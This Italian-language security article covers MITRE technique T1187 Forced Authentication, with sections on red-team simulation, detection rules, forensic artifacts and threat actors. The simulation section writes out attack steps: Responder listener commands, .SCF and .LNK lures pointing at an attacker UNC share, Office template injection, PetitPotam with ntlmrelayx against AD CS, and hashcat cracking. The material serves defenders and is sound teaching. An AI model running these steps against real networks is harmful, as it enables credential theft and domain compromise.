Autenticazione Forzata: Forced Authentication (T1187)

In un ingaggio red team, la simulazione di Forced Authentication parte tipicamente dal setup di un listener SMB/HTTP capace di catturare gli hash NTLMv2. Lo strumento di riferimento è Responder (open source), che intercetta broadcast LLMNR, NBT-NS e mDNS oltre a rispondere a richieste SMB dirette. Il comando base per l'ascolto passivo su interfaccia dedicata è responder -I eth0 -wv, che avvia i server rogue e registra gli hash catturati in logs/SMB-NTLMv2-SSP-.txt*.

Per forzare l'autenticazione senza attendere il traffico spontaneo, si genera un lure. Un file .LNK malevolo può essere creato in PowerShell impostando il campo IconLocation verso un UNC controllato: quando l'utente naviga la cartella, Explorer risolve l'icona e attiva la richiesta SMB. Analogamente, un file .SCF con la direttiva IconFile=\attacker\share\icon.ico piazzato su una share pubblica genera hash ogni volta che la cartella viene aperta. Per il vettore Office, la template injection consiste nel modificare word/_rels/settings.xml.rels di un documento .docx sostituendo il target del template remoto con un UNC dell'attaccante.

La catena PetitPotam si esegue con l'omonimo tool (open source) presente su GitHub, con sintassi tipo python3 PetitPotam.py <attacker_ip> <dc_ip>: il target DC viene indotto ad autenticarsi tramite EFSRPC verso il listener. In combinazione con ntlmrelayx.py della suite Impacket (open source), l'hash può essere rilanciato in tempo reale contro un endpoint AD CS vulnerabile per ottenere un certificato utente e, tramite Rubeus (open source), un TGT valido — la catena nota come ADCS ESC8.

Per WebDAV, l'attaccante può ospitare un server con Impacket o con moduli custom Python; l'interesse operativo è che WebDAV opera su TCP 80/443 e spesso bypassa firewall che bloccano SMB egress. Il tool mitm6 (open source) integra bene la catena avvelenando IPv6 DHCPv6 per redirigere le richieste WPAD.

Durante il test è utile validare l'efficacia del cracking con hashcat in modalità -m 5600 (hashcat -m 5600 hashes.txt wordlist.txt) per stimare la resistenza delle policy password. In laboratorio, isolare sempre l'ambiente e ottenere autorizzazione scritta: gli hash NTLMv2 sono dati sensibili anche se apparentemente inerti.

Il rilevamento di Forced Authentication si basa sulla correlazione tra creazione o accesso a file lure e traffico NTLM in uscita verso destinazioni non autorizzate. La detection DET0022 individua questa catena in quattro passaggi: creazione del lure in cartelle utente esposte, apertura da parte dell'utente o rendering delle icone, connessione SMB (139/445) o WebDAV (80/443) verso host non trusted, ripetizione da più utenti o workstation privilegiate.

Le log source primarie sono Sysmon, il Security log Windows e la telemetria NSM sui flussi. In particolare, Sysmon EventID 11 (FileCreate) è essenziale per identificare la comparsa di file con estensione .lnk, .scf, .url in path come Desktop, Downloads, Public, Startup e Temp. EventID 3 (NetworkConnect) fornisce le connessioni in uscita da processi come explorer.exe, winword.exe o svchost.exe verso IP esterni sulle porte SMB/WebDAV — un pattern anomalo perché queste applicazioni non dovrebbero mai iniziare traffico SMB verso Internet. Sul Security log, EventID 4624 con Logon Type 3 e Authentication Package NTLM verso destinazioni non censite indica autenticazioni NTLM verso host sconosciuti; EventID 4625 con substatus 0xC000006A segnala fallimenti utili a identificare relay tentati.

Una query Splunk esemplificativa correla FileCreate di lure con connessioni NTLM entro una finestra di 15-30 minuti, filtrando destinazioni interne autorizzate. La logica: source=Sysmon EventCode=11 (TargetFilename=".lnk" OR TargetFilename=".scf") correlato via host e user con EventCode=3 DestinationPort IN (139,445,80,443) dove DestinationIP non appartiene alla CIDR aziendale.

Controlli preventivi — allineati alla mitigazione M1037 (Filter Network Traffic) — includono egress filtering rigoroso su porte 139, 445 e UDP 137, blocco del protocollo WebDAV in uscita a livello proxy, e disabilitazione del servizio WebClient sugli endpoint che non ne necessitano (registry chiave HKLM\SYSTEM\CurrentControlSet\Services\WebClient\Start impostata a 4). La Group Policy Network security: Restrict NTLM consente audit e blocco selettivo del traffico NTLM in uscita.

Falsi positivi frequenti derivano da software di backup che accedono a share esterne autorizzate, sincronizzazioni WebDAV verso SharePoint on-premise, e strumenti di monitoraggio che enumerano share. Una allowlist granulare di destinazioni SMB/WebDAV lecite riduce drasticamente il rumore. Attenzione ai workstation-to-workstation SMB, quasi sempre anomali in ambienti enterprise ben segmentati e indicativi di lateral movement o poisoning LLMNR interno.

L'analisi forense di Forced Authentication ricostruisce due tracce parallele: gli artefatti del lure sull'endpoint vittima e gli indicatori di rete della richiesta di autenticazione. Sul filesystem, i file .LNK malevoli conservano nella struttura ShellLinkHeader il campo IconLocation con path UNC verso l'host attaccante; l'analisi con LECmd di Eric Zimmerman (open source) estrae questi campi insieme a timestamp MAC, MAC address dell'host originante e volume ID. I file .SCF sono di formato INI e la direttiva IconFile si legge con un semplice text editor — la presenza di path *\* è un indicatore forte.

Gli artefatti Office in caso di template injection si trovano nel file .docx (archivio ZIP): word/_rels/settings.xml.rels contiene il riferimento al template remoto. Estraendo il file con oletools (open source, comando olevba) o semplicemente decomprimendo l'archivio si isola l'URL malevolo. La cartella %APPDATA%\Microsoft\Templates può contenere template scaricati e memorizzati.

La timeline si costruisce con KAPE (gratuito per uso non commerciale) o Plaso/log2timeline (open source), correlando: creazione del lure ($MFT e UsnJrnl:$J), accesso (ShellBags in NTUSER.DAT per la cartella contenente il file, RecentDocs e OpenSaveMRU), rendering icona (IconCache.db in %LOCALAPPDATA%\Microsoft\Windows\Explorer), e infine tentativo di autenticazione. Prefetch di explorer.exe e rundll32.exe con timestamp coerenti supporta la sequenza.

Lato rete, il Security log conserva EventID 4648 (logon con credenziali esplicite) e 4624/4625 con dettagli su destinazione e protocollo. Il campo IpAddress e WorkstationName nel logon event identifica l'host che ha ricevuto l'autenticazione. Se disponibili, i log del proxy o del firewall perimetrale mostrano la connessione WebDAV o SMB verso l'IP esterno; Zeek con lo script smb produce record dettagliati delle sessioni SMB con hash dell'utente e share richiesto.

Per il vettore PetitPotam, l'artefatto chiave sul DC è l'attivazione del pipe \pipe\efsrpc o \pipe\lsarpc, visibile in Sysmon EventID 18 (PipeConnected) se la baseline è configurata. Il traffico DCE/RPC verso EFSRPC da host non amministrativi è di per sé sospetto.

Per l'attribuzione, i domini o IP contattati vanno verificati tramite passive DNS e archivi WHOIS storici (RiskIQ PassiveTotal freemium, SecurityTrails freemium, crt.sh gratuito per Certificate Transparency). La correlazione tra i pattern di lure — nomi file, tecniche di offuscamento, path UNC — e campagne note supporta l'attribuzione a cluster APT specifici.

Il panorama degli attori che abusano di Forced Authentication è dominato da gruppi con forte orientamento allo spionaggio industriale e diplomatico, che vedono nella raccolta silenziosa di hash NTLMv2 un modo per espandere il controllo senza generare rumore da esecuzione codice.

Dragonfly (G0035) è l'attore più prolifico in questa tecnica secondo la documentazione MITRE. Il gruppo ha raccolto hash utente tramite SMB usando allegati spearphishing con link a risorse esterne, e ha modificato le risorse icona di file .LNK per raccogliere credenziali da sistemi virtualizzati. L'interesse operativo di Dragonfly per infrastrutture energy e ICS rende questa tecnica particolarmente pericolosa: la compromissione di credenziali di engineer con accesso a sistemi OT amplia radicalmente la superficie d'attacco. L'uso di lure su virtualized workstation suggerisce targeting di ambienti jump-host tipicamente usati per accedere a segmenti industriali.

DarkHydrus (G0079) ha impiegato template injection per far apparire finestre di autenticazione con cui indurre utenti a inserire credenziali. Il gruppo, associato a targeting mediorientale prevalentemente su enti governativi e istituzioni educative, dimostra come Forced Authentication si integri con tecniche di social engineering: la finestra di autenticazione fornisce un contesto plausibile che riduce il sospetto rispetto ad altre catene di credential access. Il pattern di targeting geografico si sovrappone a quello di altri cluster mediorientali che tradizionalmente sfruttano documenti weaponizzati.

Sul fronte malware, EnvyScout (S0634) è un downloader documentato che usa protocol handler per indurre il sistema operativo a inviare risposte di autenticazione NTLMv2 verso infrastruttura attaccante. EnvyScout è tradizionalmente associato a operazioni di spionaggio state-sponsored e mostra come la tecnica venga incapsulata anche in stadi iniziali della catena, dove la raccolta hash avviene contestualmente al delivery del payload principale.

Il trend osservabile combina più elementi: template injection e file lure restano i vettori più economici per campagne di massa, mentre l'emergere di PetitPotam e la sua integrazione con NTLM relay verso AD CS (catena ESC8) ha spostato il focus verso attacchi diretti a domain controller, con impatto di escalation privilegi immediata. La disponibilità di tool open source come Responder, Impacket e PetitPotam riduce la barriera d'ingresso e rende la tecnica attrattiva anche per gruppi ransomware in fasi di lateral movement, sebbene la documentazione MITRE su questi cluster sia meno strutturata. Per i threat intelligence officer, il monitoraggio di leak credenziali su forum underground e la correlazione con hash NTLMv2 aziendali forniscono early warning sull'efficacia di eventuali catene Forced Authentication non rilevate.

MITRE ATT&CK: T1187 Forced Authentication, TA0006 Credential Access. Gruppi G0035 (Dragonfly), G0079 (DarkHydrus). Software S0634 (EnvyScout). Mitigazioni M1027, M1037. Detection DET0022 e analytic AN0065. Framework MITRE D3FEND per mapping difensivo su NTLM authentication artifacts. Il documento integra conoscenza professionale verificata su tool open source di detection e simulazione (Responder, Impacket, PetitPotam, Sysmon, KAPE, Zeek, hashcat, LECmd, oletools) e sulla loro sintassi operativa documentata nei rispettivi repository ufficiali.